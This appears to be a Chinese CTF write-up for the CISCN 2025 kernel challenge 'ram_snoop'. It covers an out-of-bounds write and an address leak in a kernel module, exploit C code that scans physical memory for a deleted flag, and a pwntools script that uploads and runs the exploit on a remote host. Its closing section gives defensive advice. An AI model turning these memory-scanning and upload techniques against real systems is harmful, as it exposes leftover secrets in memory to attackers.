ram_snoop 题目分析与利用技术详解<\/h1>

题目概述<\/h2>
ram_snoop 是2025年CISCN比赛中的一道二进制安全题目，考察内核模块漏洞利用技术。题目核心是通过内存页残留数据读取已删除的flag。<\/p>

题目背景分析<\/h2>

关键组件<\/h3>

eatFlag程序<\/strong>：负责将flag文件内容读入内存后立即删除文件<\/li>
babydev.ko内核模块<\/strong>：存在漏洞的可加载内核模块<\/li>

特殊设备<\/strong>：\/dev\/noc 设备文件，提供用户态与内核的交互接口<\/li> <\/ol>
flag处理机制<\/h3>
__int64<\/span> __fastcall<\/span> flag_init<\/span>(__int64<\/span> argc, __int64<\/span> argv, __int64<\/span> envp) <\/span><\/span>{ <\/span><\/span> __int64<\/span> v4 =<\/span> fopen64("\/flag"<\/span>); <\/span><\/span> flag =<\/span> malloc(256<\/span>); <\/span><\/span> fread_unlocked(flag, 1<\/span>, 256<\/span>, v4); <\/span><\/span> fclose(v4); <\/span><\/span> return<\/span> remove("\/flag"<\/span>); \/\/ 关键：读取后立即删除 <\/span><\/span><\/span><\/span>} <\/span><\/span><\/code><\/pre>漏洞分析<\/h2> 1. 全局缓冲区结构<\/h3> 内核模块维护一个全局缓冲区：<\/p> 大小：0x10000字节<\/li> 结构：包含数据区和元数据区<\/li> <\/ul> 2. Write-Pos Overflow漏洞<\/h3> 在dev_write函数中存在关键漏洞：<\/p> unsigned<\/span> __int64<\/span> __fastcall<\/span> dev_write<\/span>(__int64<\/span> a1, __int64<\/span> a2, unsigned<\/span> __int64<\/span> size, __int64<\/span> *<\/span>a4) <\/span><\/span>{ <\/span><\/span> __int64<\/span> write_pos =<\/span> *<\/span>a4; <\/span><\/span> unsigned<\/span> __int64<\/span> actual_size =<\/span> size; <\/span><\/span> <\/span><\/span> \/\/ 漏洞点：边界检查逻辑错误 <\/span><\/span><\/span><\/span> if<\/span> (write_pos +<\/span> size ><\/span> 0x10000<\/span>) { <\/span><\/span> actual_size =<\/span> (unsigned<\/span> __int16<\/span>)-*<\/span>(_WORD *<\/span>)a4; \/\/ 关键漏洞 <\/span><\/span><\/span><\/span> } <\/span><\/span> <\/span><\/span> \/\/ 写入操作 <\/span><\/span><\/span><\/span> if<\/span> (copy_from_user(write_pos +<\/span> global_buf, a2, actual_size)) <\/span><\/span> return<\/span> -<\/span>14<\/span>; <\/span><\/span> <\/span><\/span> \/\/ 更新写位置 <\/span><\/span><\/span><\/span> *<\/span>a4 +=<\/span> actual_size; <\/span><\/span> return<\/span> actual_size; <\/span><\/span>} <\/span><\/span><\/code><\/pre>漏洞原理<\/strong>：<\/p> 当 write_pos + size > 0x10000<\/code> 时，actual_size<\/code> 被设置为 (unsigned short)-(write_pos & 0xFFFF)<\/code><\/li> 这相当于 0x10000 - (write_pos & 0xFFFF)<\/code>，允许越界写入<\/li> <\/ul> 3. 内存泄露机制<\/h3> 通过ioctl可以泄露global_buf地址：<\/p> struct<\/span> noc_ { <\/span><\/span> s32 index; <\/span><\/span> s8 command[0x10<\/span>]; <\/span><\/span> s32 date1; <\/span><\/span> s32 date2; <\/span><\/span> s32 padding; <\/span><\/span> u64 buf; \/\/ 返回的global_buf地址 <\/span><\/span><\/span><\/span>}; <\/span><\/span><\/code><\/pre>利用技术<\/h2> 利用步骤<\/h3> 阶段1：获取内核缓冲区地址<\/h4> 打开 \/dev\/noc<\/code> 设备<\/li> 使用特定ioctl命令（0x83170405）获取global_buf地址<\/li> 验证地址有效性<\/li> <\/ol> 阶段2：构造越界写入<\/h4> 通过精心构造的写入操作触发Write-Pos Overflow<\/li> 利用漏洞使写指针越过缓冲区边界<\/li> 同步调整seek位置与写指针<\/li> <\/ol> 阶段3：内存扫描<\/h4> 使用dev_seek调整读取位置<\/li> 分块读取物理内存（通常扫描128MB范围）<\/li> 搜索flag特征模式（如"flag{"）<\/li> <\/ol> 关键代码实现<\/h3> \/\/ 内存增长函数 <\/span><\/span><\/span><\/span>int<\/span> grow_memory<\/span>(s32 fd) { <\/span><\/span> const<\/span> size_t SPRAY_SIZE =<\/span> 0x1000<\/span>; <\/span><\/span> u8 *<\/span>pad =<\/span> malloc(SPRAY_SIZE); <\/span><\/span> memset(pad, 0x41<\/span>, SPRAY_SIZE); \/\/ 填充数据 <\/span><\/span><\/span><\/span> <\/span><\/span> \/\/ 触发越界写入 <\/span><\/span><\/span><\/span> for<\/span> (int<\/span> i =<\/span> 0<\/span>; i <<\/span> 10<\/span>; i++<\/span>) { <\/span><\/span> if<\/span> (write(fd, pad, SPRAY_SIZE) !=<\/span> (ssize_t)SPRAY_SIZE) { <\/span><\/span> return<\/span> -<\/span>1<\/span>; <\/span><\/span> } <\/span><\/span> } <\/span><\/span> free(pad); <\/span><\/span> return<\/span> 1<\/span>; <\/span><\/span>} <\/span><\/span> <\/span><\/span>\/\/ 标志扫描函数 <\/span><\/span><\/span><\/span>int<\/span> scan_for_flag<\/span>(s32 fd, u64 base) { <\/span><\/span> const<\/span> char<\/span> *<\/span>patterns[] =<\/span> {"flag{"<\/span>}; <\/span><\/span> u8 *<\/span>buffer =<\/span> malloc(SPRAY_SIZE +<\/span> 16<\/span>); <\/span><\/span> <\/span><\/span> for<\/span> (u64 offset =<\/span> 0<\/span>; offset <<\/span> TOTAL_SIZE; offset +=<\/span> SPRAY_SIZE) { <\/span><\/span> lseek(fd, (off_t)offset, SEEK_SET); <\/span><\/span> read(fd, buffer, SPRAY_SIZE); <\/span><\/span> <\/span><\/span> \/\/ 模式匹配 <\/span><\/span><\/span><\/span> for<\/span> (size_t i =<\/span> 0<\/span>; i <=<\/span> SPRAY_SIZE; i++<\/span>) { <\/span><\/span> for<\/span> (size_t p =<\/span> 0<\/span>; p <<\/span> pattern_count; p++<\/span>) { <\/span><\/span> if<\/span> (memcmp(buffer +<\/span> i, patterns[p], strlen(patterns[p])) ==<\/span> 0<\/span>) { <\/span><\/span> \/\/ 找到疑似flag位置 <\/span><\/span><\/span><\/span> extract_flag_content(fd, base, offset +<\/span> i); <\/span><\/span> } <\/span><\/span> } <\/span><\/span> } <\/span><\/span> } <\/span><\/span> free(buffer); <\/span><\/span> return<\/span> 0<\/span>; <\/span><\/span>} <\/span><\/span><\/code><\/pre>环境配置与调试<\/h2> 初始化脚本调整<\/h3> 原题提供的init脚本需要调整以确保正确启动环境：<\/p> #!\/bin\/sh <\/span><\/span><\/span><\/span>exec 0<\/dev\/console <\/span><\/span>exec 1>\/dev\/console <\/span><\/span>exec 2>\/dev\/console <\/span><\/span> <\/span><\/span># 加载内核模块<\/span> <\/span><\/span>if<\/span> [<\/span> -f \/babydev.ko ]<\/span>; then<\/span> <\/span><\/span> insmod \/babydev.ko <\/span><\/span>fi<\/span> <\/span><\/span> <\/span><\/span>chmod 777<\/span> \/dev\/noc \/tmp <\/span><\/span>cp \/proc\/kallsyms \/tmp\/coresysms.txt <\/span><\/span> <\/span><\/span># 启动eatFlag进程（关键）<\/span> <\/span><\/span>\/home\/eatFlag & <\/span><\/span> <\/span><\/span># 启动shell<\/span> <\/span><\/span>exec \/bin\/sh <\/span><\/span><\/code><\/pre>文件系统打包<\/h3> 使用正确的cpio打包方法：<\/p> #!\/bin\/sh <\/span><\/span><\/span><\/span>set -e <\/span><\/span>echo "开始打包core..."<\/span> <\/span><\/span> <\/span><\/span># 创建cpio归档<\/span> <\/span><\/span>find . 2>\/dev\/null | cpio -o -H newc -R root:root > ..\/core.cpio <\/span><\/span> <\/span><\/span># 验证归档<\/span> <\/span><\/span>if<\/span> [<\/span> -s ..\/core.cpio ]<\/span>; then<\/span> <\/span><\/span> echo "打包成功"<\/span> <\/span><\/span>else<\/span> <\/span><\/span> echo "错误: 生成的cpio文件为空"<\/span> <\/span><\/span> exit 1<\/span> <\/span><\/span>fi<\/span> <\/span><\/span><\/code><\/pre>远程利用脚本<\/h2> from<\/span> pwn import<\/span> *<\/span> <\/span><\/span>import<\/span> base64 <\/span><\/span> <\/span><\/span>context.<\/span>log_level =<\/span> "info"<\/span> <\/span><\/span> <\/span><\/span>def<\/span> exploit_remote<\/span>(host, port): <\/span><\/span> # 读取并编码exp二进制<\/span> <\/span><\/span> with<\/span> open(".\/exp"<\/span>, "rb"<\/span>) as<\/span> f: <\/span><\/span> exp_bin =<\/span> f.<\/span>read() <\/span><\/span> <\/span><\/span> b64_data =<\/span> base64.<\/span>b64encode(exp_bin).<\/span>decode("ascii"<\/span>) <\/span><\/span> lines =<\/span> [b64_data[i:i+<\/span>76<\/span>] for<\/span> i in<\/span> range(0<\/span>, len(b64_data), 76<\/span>)] <\/span><\/span> <\/span><\/span> p =<\/span> remote(host, port) <\/span><\/span> p.<\/span>recvuntil([b<\/span>"\/ $"<\/span>, b<\/span>"# "<\/span>]) <\/span><\/span> <\/span><\/span> # 上传exp<\/span> <\/span><\/span> p.<\/span>sendline(b<\/span>"cat <<'EOF' > \/tmp\/exploit.b64"<\/span>) <\/span><\/span> for<\/span> line in<\/span> lines: <\/span><\/span> p.<\/span>sendline(line.<\/span>encode()) <\/span><\/span> p.<\/span>sendline(b<\/span>"EOF"<\/span>) <\/span><\/span> <\/span><\/span> # 解码执行<\/span> <\/span><\/span> p.<\/span>recvuntil([b<\/span>"\/ $"<\/span>, b<\/span>"# "<\/span>]) <\/span><\/span> p.<\/span>sendline(b<\/span>"base64 -d \/tmp\/exploit.b64 > \/tmp\/exploit"<\/span>) <\/span><\/span> p.<\/span>recvuntil([b<\/span>"\/ $"<\/span>, b<\/span>"# "<\/span>]) <\/span><\/span> p.<\/span>sendline(b<\/span>"chmod +x \/tmp\/exploit"<\/span>) <\/span><\/span> p.<\/span>recvuntil([b<\/span>"\/ $"<\/span>, b<\/span>"# "<\/span>]) <\/span><\/span> p.<\/span>sendline(b<\/span>"\/tmp\/exploit"<\/span>) <\/span><\/span> <\/span><\/span> return<\/span> p <\/span><\/span> <\/span><\/span># 使用示例<\/span> <\/span><\/span># p = exploit_remote("60.205.142.235", 32884)<\/span> <\/span><\/span># p.interactive()<\/span> <\/span><\/span><\/code><\/pre>技术要点总结<\/h2> 物理内存残留<\/strong>：进程退出后，其内存页可能仍包含敏感数据直到被重用<\/li> 越界访问<\/strong>：通过整数溢出和边界检查漏洞实现可控的越界内存访问<\/li> 内核地址泄露<\/strong>：利用ioctl接口泄露内核数据结构地址<\/li> 大规模内存扫描<\/strong>：系统性地搜索特定内存模式<\/li> <\/ol> 防御建议<\/h2> 安全的内存管理<\/strong>：进程退出后及时清理敏感数据<\/li> 严格的边界检查<\/strong>：避免整数溢出和边界检查逻辑错误<\/li> 地址空间布局随机化<\/strong>：增加内核地址泄露难度<\/li> 内存保护机制<\/strong>：使用适当的内存保护技术防止越界访问<\/li> <\/ol> 该题目展示了物理内存残留数据利用的实际案例，对于理解内核安全性和内存管理机制具有重要意义。<\/p>

ram_snoop 题目分析与利用技术详解<\/h1>

题目概述<\/h2> ram_snoop 是2025年CISCN比赛中的一道二进制安全题目，考察内核模块漏洞利用技术。题目核心是通过内存页残留数据读取已删除的flag。<\/p>

题目背景分析<\/h2>

漏洞分析<\/h2>

利用技术<\/h2>

利用步骤<\/h3>

环境配置与调试<\/h2>

题目概述<\/h2>
ram_snoop 是2025年CISCN比赛中的一道二进制安全题目，考察内核模块漏洞利用技术。题目核心是通过内存页残留数据读取已删除的flag。<\/p>